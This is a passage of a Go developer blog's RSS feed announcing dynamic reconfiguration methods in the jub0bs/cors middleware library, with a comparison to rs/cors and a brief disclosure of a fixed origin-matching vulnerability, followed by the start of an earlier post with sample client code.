in a way that doesn&rsquo;t undermine <a href="https://jub0bs.com/posts/2023-02-08-fearless-cors/" target="_blank" rel="noopener">my entire design philosophy</a>,
introduce breaking changes, or compromise performance.
<a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> still provides the following function
for creating CORS middleware,</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">NewMiddleware</span>(<span style="color:#a6e22e">cfg</span> <span style="color:#a6e22e">Config</span>) (<span style="color:#f92672">*</span><span style="color:#a6e22e">Middleware</span>, <span style="color:#66d9ef">error</span>)
</span></span></code></pre></div><p>but <a href="https://github.com/jub0bs/cors/releases/tag/v0.2.0" target="_blank" rel="noopener">v0.2.0</a> saw the addition of two methods:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">m</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Middleware</span>) <span style="color:#a6e22e">Reconfigure</span>(<span style="color:#a6e22e">cfg</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Config</span>) <span style="color:#66d9ef">error</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">m</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Middleware</span>) <span style="color:#a6e22e">Config</span>() <span style="color:#f92672">*</span><span style="color:#a6e22e">Config</span>
</span></span></code></pre></div><p><a href="https://pkg.go.dev/github.com/jub0bs/cors#Middleware.Reconfigure" target="_blank" rel="noopener">The <code>Reconfigure</code> method</a>, as its name implies,
allows you to reconfigure middleware <code>m</code>.
If the <code>cfg</code> argument is non-<code>nil</code> but <code>*cfg</code> is invalid,
<code>Reconfigure</code> returns some non-<code>nil</code> error and leaves <code>m</code> unchanged.
If <code>cfg</code> is <code>nil</code>, <code>Reconfigure</code> disables CORS;
it essentially turns <code>m</code> into a &ldquo;passthrough&rdquo; middleware, i.e. a middleware
that does nothing interesting and merely delegates to the handler it wraps.
Be aware that mutating the fields of <code>*cfg</code> after <code>Reconfigure</code> has returned does
not alter <code>m</code>&rsquo;s behaviour.</p>
<p><a href="https://pkg.go.dev/github.com/jub0bs/cors#Middleware.Config" target="_blank" rel="noopener">The <code>Config</code> method</a> returns a pointer to a deep copy of the
<a href="https://pkg.go.dev/github.com/jub0bs/cors#Config" target="_blank" rel="noopener"><code>Config</code></a> value with which CORS middleware <code>m</code> was built or last
reconfigured with.
Thanks to this method, you don&rsquo;t need to keep your middleware&rsquo;s configuration
in scope in anticipation of amending it
(e.g. to augment the set of allowed <a href="https://developer.mozilla.org/en-US/docs/Glossary/Origin" target="_blank" rel="noopener">Web origins</a>);
you can simply query the configuration when needed.
<code>m.Reconfigure(m.Config())</code> is guaranteed to be a no-op
(albeit a relatively expensive one).
Again, be aware that mutating the fields of the <code>Config</code> method&rsquo;s result does
not alter <code>m</code>&rsquo;s behaviour.</p>
<p>Because both methods are concurrency-safe,
you can confidently reconfigure a middleware and/or query its current configuration
even as it&rsquo;s concurrently processing requests.
Therefore, you are free to somehow expose those methods
so you can exercise them without having to restart your server;
however, if you do expose those methods, you should only do so on some
internal or authorized endpoints, for security reasons.</p>
<p>Moreover, a happy byproduct of refactoring is that
the zero value of <code>Middleware</code> is now <a href="https://www.youtube.com/watch?v=PAAkCSZUG1c&amp;t=385s" target="_blank" rel="noopener">ready to use</a>,
though it merely corresponds to a &ldquo;passthrough&rdquo; middleware.</p>
<p>One word of caution, though: be aware that frequent CORS-middleware reconfiguration
may exacerbate caching issues;
I refer you to <a href="https://jakearchibald.com/2021/cors/#cors-and-caching" target="_blank" rel="noopener">the relevant section</a> of <a href="https://mastodon.social/@jaffathecake" target="_blank" rel="noopener">Jake Archibald</a>&rsquo;s
<a href="https://jakearchibald.com/2021/cors" target="_blank" rel="noopener">blog post about CORS</a>.</p>
<h2 id="comparison-with-rscorss-hook-based-approach">Comparison with rs/cors&rsquo;s hook-based approach <a href="#comparison-with-rscorss-hook-based-approach">¶</a></h2>
<p><a href="https://jub0bs.com/posts/2024-04-27-jub0bs-cors-a-better-cors-middleware-library-for-go/" target="_blank" rel="noopener">Once again</a>, <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> bears comparison with
<a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>, which remains, at the time of writing this post,
the most popular CORS library for Go.
<a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>&rsquo;s flexibility stems from its multiple &ldquo;hooks&rdquo;:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Options</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// ...</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">AllowOriginFunc</span>            <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">origin</span> <span style="color:#66d9ef">string</span>) <span style="color:#66d9ef">bool</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">AllowOriginRequestFunc</span>     <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">r</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Request</span>, <span style="color:#a6e22e">origin</span> <span style="color:#66d9ef">string</span>) <span style="color:#75715e">// deprecated</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">AllowOriginVaryRequestFunc</span> <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">r</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Request</span>, <span style="color:#a6e22e">origin</span> <span style="color:#66d9ef">string</span>) (<span style="color:#66d9ef">bool</span>, []<span style="color:#66d9ef">string</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// ...</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Via those hooks, you can specify <a href="https://en.wikipedia.org/wiki/Strategy_pattern" target="_blank" rel="noopener">strategies</a>
for discriminating allowed and disallowed Web origins.
However, I believe, for <a href="https://jub0bs.com/posts/2023-02-08-fearless-cors/#do-not-support-custom-callbacks" target="_blank" rel="noopener">reasons explained in a previous post</a>,
that such hooks are error-prone and too powerful for your own good;
I have therefore steadfastly refused to introduce the likes of them in my CORS
libraries, and I still do.</p>
<p>Instead, in order to support dynamic middleware reconfigurability in
<a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>, I&rsquo;ve basically turned <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>&rsquo;s
hook-based approach inside out, as you would a sock:
rather than specify a callback representing your strategy,
you must declaratively describe your desired configuration in the form of a
<code>*Config</code> value and pass that value to your middleware&rsquo;s <code>Reconfigure</code> method.
This approach comes with several benefits that cannot be understated:</p>
<ul>
<li><strong>Flexibility</strong>: you can update, not just the set of allowed origins,
but the entire configuration of your CORS middleware: allowed origins,
allowed methods, allowed request headers, etc.</li>
<li><strong>Correctness &amp; safety</strong>: you cannot (modulo bugs) end up with a dysfunctional
or insecure middleware: <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> indeed rejects any
configuration that it deems invalid or insecure, not just at middleware
initialisation, but also at middleware reconfiguration.
Your middleware will either receive a clean update or none at all.</li>
<li><strong>Performance</strong>: at all times, a middleware&rsquo;s configuration lives in memory,
in data structures optimised for processing CORS requests;
middleware reconfiguration still is relatively expensive,
especially in heap allocations,
but under the reasonable assumption that reconfiguration remains less frequent
(at least by an order of magnitude) than middleware invocation,
you can expect good overall performance.</li>
</ul>
<h2 id="critical-vulnerability-in-jub0bscors--012">Critical vulnerability in jub0bs/cors &lt;= 0.1.2 <a href="#critical-vulnerability-in-jub0bscors--012">¶</a></h2>
<p>Finally, allow me a short but important digression about security.
One of the data structures that <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> relies on
is a specialised <a href="https://en.wikipedia.org/wiki/Radix_tree" target="_blank" rel="noopener">radix tree</a>.
As I was implementing middleware reconfigurability,
I came to the distressing realisation that,
because of a bug in my radix-tree implementation
(no doubt introduced as a result of poor variable naming on my part),
<a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> contained a <a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N" target="_blank" rel="noopener">critical vulnerability</a>:
in v0.1.2 and prior versions,
some CORS middleware allow a range of untrusted Web origins.
For example, specifying origin patterns <code>https://foo.com</code> and <code>https://bar.com</code>
(in that order) would yield a middleware that would incorrectly allow untrusted
origin <code>https://barfoo.com</code>.
v0.8.0 of <a href="https://github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> is similarly vulnerable.
This critical vulnerability is yet another cautionary tale
that <a href="https://app.codecov.io/gh/jub0bs/cors/commit/66e6d320f39d0b80e97ae6272493354d1209b7ad" target="_blank" rel="noopener">a code coverage of 100%</a> doesn&rsquo;t guarantee the absence of bugs.</p>
<p>Finding a critical vulnerability in one&rsquo;s code has to be
an open-source developer&rsquo;s worst nightmare, but
this episode was particularly embarrassing to me:
not only do I <a href="https://infosec.exchange/@jub0bs" target="_blank" rel="noopener">describe myself as a security researcher</a> but,
<a href="https://jub0bs.com/posts/2024-04-27-jub0bs-cors-a-better-cors-middleware-library-for-go/" target="_blank" rel="noopener">only a few days earlier</a>,
I was bemoaning the leisurely pace at which the maintainer of <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>
patched <a href="https://github.com/rs/cors/issues/170" target="_blank" rel="noopener">an altogether minor vulnerability</a>
and I was touting <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> as
perhaps the best CORS middleware library for Go yet&hellip; 😬</p>
<p>The study of Web security is a neverending lesson in humility.
Despite one&rsquo;s best intentions, every piece of software one writes is bound,
at one stage or another, to contain vulnerabilities;
what matters is how one responds to their discovery.
In this case, I identified and fixed the bug on April 30th;
for better timing, though, I held off <a href="https://github.com/jub0bs/cors/security/advisories/GHSA-vhxv-fg4m-p2w8" target="_blank" rel="noopener">publishing a security advisory</a>,
<a href="https://github.com/golang/vulndb/issues/2806" target="_blank" rel="noopener">notifying the Go Vulnerability Database</a>,
and <a href="https://github.com/jub0bs/cors/releases/tag/v0.1.3" target="_blank" rel="noopener">releasing a patched version (v0.1.3)</a> until May 2nd (CEST).</p>
<p>I apologise to anyone impacted and,
if you haven&rsquo;t given <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> a try yet,
I hope you won&rsquo;t be deterred.</p>
<h2 id="acknowledgements">Acknowledgements <a href="#acknowledgements">¶</a></h2>
<p>Thanks to
<a href="https://github.com/ldemailly" target="_blank" rel="noopener">Laurent Demailly</a>,
<a href="http://scottplunkett.com" target="_blank" rel="noopener">Scott Plunkett</a>,
and <a href="https://www.linkedin.com/in/mike-stephen-7877a44/" target="_blank" rel="noopener">Mike Stephen</a>
for the constructive feedback about my prospective API changes that they
respectively shared with me
on <a href="https://app.slack.com/client/T029RQSE6/C35KDUGHL" target="_blank" rel="noopener">Gophers Slack</a>,
on <a href="https://www.reddit.com/r/golang/comments/1ceqb35/comment/l1knzba/" target="_blank" rel="noopener">Reddit</a>,
and through private communication.</p>
]]></content>
        </item>
        
        <item>
            <title>jub0bs/cors: a better CORS middleware library for Go</title>
            <link>//jub0bs.com/posts/2024-04-27-jub0bs-cors-a-better-cors-middleware-library-for-go/</link>
            <pubDate>Sat, 27 Apr 2024 08:00:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2024-04-27-jub0bs-cors-a-better-cors-middleware-library-for-go/</guid>
            <description>&lt;h2 id=&#34;tldr&#34;&gt;TL;DR &lt;a href=&#34;#tldr&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;ve just released &lt;a href=&#34;https://github.com/jub0bs/cors&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;jub0bs/cors&lt;/a&gt;,
a new &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;CORS&lt;/a&gt; middleware library for &lt;a href=&#34;https://go.dev&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Go&lt;/a&gt;, perhaps the best one yet.
It has some advantages over the more popular &lt;a href=&#34;https://github.com/rs/cors&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;rs/cors&lt;/a&gt; library,
including&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;#simpler-api&#34;&gt;a simpler API&lt;/a&gt;,&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#better-documentation&#34;&gt;better documentation&lt;/a&gt;,&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#extensive-configuration-validation&#34;&gt;extensive configuration validation&lt;/a&gt;,&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#debug-mode&#34;&gt;a useful debug mode&lt;/a&gt;,&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#stronger-performance-guarantees&#34;&gt;stronger performance guarantees&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here is a representative example of client code:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;package&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;main&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;io&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;log&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;net/http&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;github.com/jub0bs/cors&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;main&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mux&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;http&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;NewServeMux&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mux&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;HandleFunc&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;GET /hello&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;handleHello&lt;/span&gt;) &lt;span style=&#34;color:#75715e&#34;&gt;// no CORS on this&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;corsMw&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;err&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;cors&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;NewMiddleware&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;cors&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Config&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;Origins&lt;/span&gt;:        []&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;{&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://example.com&amp;#34;&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;Methods&lt;/span&gt;:        []&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;{&lt;span style=&#34;color:#a6e22e&#34;&gt;http&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;MethodGet&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;http&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;MethodPost&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;RequestHeaders&lt;/span&gt;: []&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;{&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Authorization&amp;#34;&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  })
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;err&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;nil&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Fatal&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;err&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;corsMw&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;SetDebug&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;) &lt;span style=&#34;color:#75715e&#34;&gt;// optional: turn debug mode on&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;api&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;http&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;NewServeMux&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;api&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;HandleFunc&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;GET /users&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;handleUsersGet&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;api&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;HandleFunc&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;POST /users&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;handleUsersPost&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mux&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Handle&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/api/&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;http&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;StripPrefix&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/api&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;corsMw&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Wrap&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;api&lt;/span&gt;)))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Fatal&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;http&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;ListenAndServe&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;:8080&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;mux&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;handleHello&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;w&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;http&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;ResponseWriter&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;_&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;http&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Request&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;io&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;WriteString&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;w&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Hello, World!&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;handleUsersGet&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;w&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;http&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;ResponseWriter&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;_&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;http&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Request&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;// omitted&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;handleUsersPost&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;w&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;http&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;ResponseWriter&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;_&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;http&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;Request&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;// omitted&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you&amp;rsquo;re already convinced and wish to migrate your code to
&lt;a href=&#34;https://github.com/jub0bs/cors&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;jub0bs/cors&lt;/a&gt; without further ado,
skip to the &lt;a href=&#34;#migration-guide&#34;&gt;migration guide&lt;/a&gt; further down this post.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="tldr">TL;DR <a href="#tldr">¶</a></h2>
<p>I&rsquo;ve just released <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>,
a new <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS" target="_blank" rel="noopener">CORS</a> middleware library for <a href="https://go.dev" target="_blank" rel="noopener">Go</a>, perhaps the best one yet.
It has some advantages over the more popular <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> library,
including</p>
<ul>
<li><a href="#simpler-api">a simpler API</a>,</li>
<li><a href="#better-documentation">better documentation</a>,</li>
<li><a href="#extensive-configuration-validation">extensive configuration validation</a>,</li>
<li><a href="#debug-mode">a useful debug mode</a>,</li>
<li><a href="#stronger-performance-guarantees">stronger performance guarantees</a>.</li>
</ul>
<p>Here is a representative example of client code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;io&#34;</span>
